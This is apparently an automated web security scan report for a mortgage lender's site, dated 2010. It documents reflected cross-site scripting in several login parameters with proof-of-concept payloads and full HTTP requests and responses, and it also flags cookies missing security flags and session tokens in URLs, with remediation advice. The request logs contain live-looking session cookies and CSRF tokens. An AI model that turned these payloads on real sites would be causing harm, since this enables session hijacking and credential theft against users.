Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the REALMOID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a82a"style%3d"x%3aexpression(alert(1))"0b1a9f1d029 was submitted in the REALMOID parameter. This input was echoed as 5a82a"style="x:expression(alert(1))"0b1a9f1d029 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /sso/mq/login.jsp?TYPE=33554433&REALMOID=06-69d40195-9749-498e-841a-977f492bac265a82a"style%3d"x%3aexpression(alert(1))"0b1a9f1d029&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/13571/landscape?jpid=Purchase&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:46:33 GMT Server: Apache Pragma: no-cache Content-Length: 56096 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!--template ssloanstart-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- ssloanstart tmpl -->
The value of the TARGET request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14bde"style%3d"x%3aexpression(alert(1))"8580230ead0 was submitted in the TARGET parameter. This input was echoed as 14bde"style="x:expression(alert(1))"8580230ead0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /sso/mq/login.jsp?TYPE=33554433&REALMOID=06-69d40195-9749-498e-841a-977f492bac26&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE9514bde"style%3d"x%3aexpression(alert(1))"8580230ead0 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/13571/landscape?jpid=Purchase&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:46:41 GMT Server: Apache Pragma: no-cache Content-Length: 56096 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!--template ssloanstart-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- ssloanstart tmpl -->
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 54a4a"style%3d"x%3aexpression(alert(1))"b0900320ce1 was submitted in the REST URL parameter 3. This input was echoed as 54a4a"style="x:expression(alert(1))"b0900320ce1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /sso/mq2/login.jsp54a4a"style%3d"x%3aexpression(alert(1))"b0900320ce1?TYPE=33554433&REALMOID=06-bdc806c4-8355-4c2f-b4e0-ac3ecc5c7494&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fhome%2f13571%2flandscape%3fjpid%3dSSLoanStart%26PHH_CSRFTOKEN%3dY3WS--GE7R--THEV--ONKF--SJLP--3KDX--H4T9--YE95&SMSESSION=NO HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/13571/landscape?jpid=Purchase&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response (redirected)
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:50:59 GMT Server: Apache Pragma: no-cache Content-Length: 56096 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!--template ssloanstart-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- ssloanstart tmpl -->
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
Request
GET /B2CLeadReferral/pageflows/leadReferral/LeadReferralController.jpf?cid=13571 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/sso/mq/login.jsp?TYPE=33554433&REALMOID=06-69d40195-9749-498e-841a-977f492bac26&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:45:11 GMT Server: Apache Pragma: no-cache Content-Length: 14239 Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: B2CLEADREFJSESSIONID=zXhWNh2LFKvbQpp2GTk2wMkgLyXDByLtPwpy9PJXqgqpmF8FpCQG!261406136; path=/ Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html;charset=UTF-8
<!--START startDetailedLeadReferral.jsp-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE HTML PUB ...[SNIP]...
3. Session token in URLpreviousnext There are 8 instances of this issue:
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
GET /b2bhome/13571/landscape HTTP/1.1 Host: www.phhmortgage.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497; LSJPLCHKCookie=yes;
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:45:38 GMT Server: Apache Pragma: no-cache Content-Length: 67132 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- LogIn tmpl --> <HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.location;</SCRIPT>
<HEAD> <!--GLOBALHea ...[SNIP]... <BR>Forgot any of your login information or have you been locked out of your account? Retrieve your information here! <A CLASS="normal" href="https://www.phhmortgage.com/info/13571/landscape?jpid=LoginHelper&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95">Login Help</A> ...[SNIP]...
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.c.mortgagequestions.com:443/siteminderagent/SmMakeCookie.ccc?SMSESSION=QUERY&PERSIST=0&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fhome%2f13571%2flandscape%3fjpid%3dSSLoanStart%26PHH_CSRFTOKEN%3dY3WS--GE7R--THEV--ONKF--SJLP--3KDX--H4T9--YE95">here</a> ...[SNIP]...
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.c.mortgagequestions.com:443/sitemin ...[SNIP]...
GET /info/13571/landscape?jpid=Refi&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/landscape?jpid=Home&cid=13571 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LSJPLCHKCookie=yes; JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:44:23 GMT Server: Apache Pragma: no-cache Content-Length: 56323 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- single_static_component tmpl --> <HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.location;</SCRIPT>
GET /info/13571/landscape?jpid=Refi&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/landscape?jpid=Home&cid=13571 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LSJPLCHKCookie=yes; JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:44:23 GMT Server: Apache Pragma: no-cache Content-Length: 56323 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- single_static_component tmpl --> <HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.location;</SCRIPT>
GET /sso/mq/login.jsp?TYPE=33554433&REALMOID=06-69d40195-9749-498e-841a-977f492bac26&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/13571/landscape?jpid=Purchase&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:44:46 GMT Server: Apache Pragma: no-cache Content-Length: 55952 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!--template ssloanstart-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- ssloanstart tmpl -->
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.c.mortgagequestions.com:443/siteminderagent/SmMakeCookie.ccc?SMSESSION=QUERY&PERSIST=0&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95">here</a> ...[SNIP]...
4. Cookie without HttpOnly flag setpreviousnext There are 2 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /B2CLeadReferral/pageflows/leadReferral/LeadReferralController.jpf?cid=13571 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/sso/mq/login.jsp?TYPE=33554433&REALMOID=06-69d40195-9749-498e-841a-977f492bac26&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:45:11 GMT Server: Apache Pragma: no-cache Content-Length: 14239 Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: B2CLEADREFJSESSIONID=zXhWNh2LFKvbQpp2GTk2wMkgLyXDByLtPwpy9PJXqgqpmF8FpCQG!261406136; path=/ Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html;charset=UTF-8
<!--START startDetailedLeadReferral.jsp-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /info/landscape?jpid=Home&cid=13571 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: http://www.phhmortgage.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:42:46 GMT Server: Apache Pragma: no-cache Content-Length: 98277 Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; path=/; secure Set-Cookie: jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497; expires=Tuesday, 28-Dec-2010 21:42:49 GMT; path=/;HttpOnly; secure Set-Cookie: LSJPLCHKCookie=yes; path=null;HttpOnly;HttpOnly; secure Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- home tmpl -->
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defenses are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defenses against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defenses against malicious input should be employed here as for any other kinds of user-supplied data.
Request 1
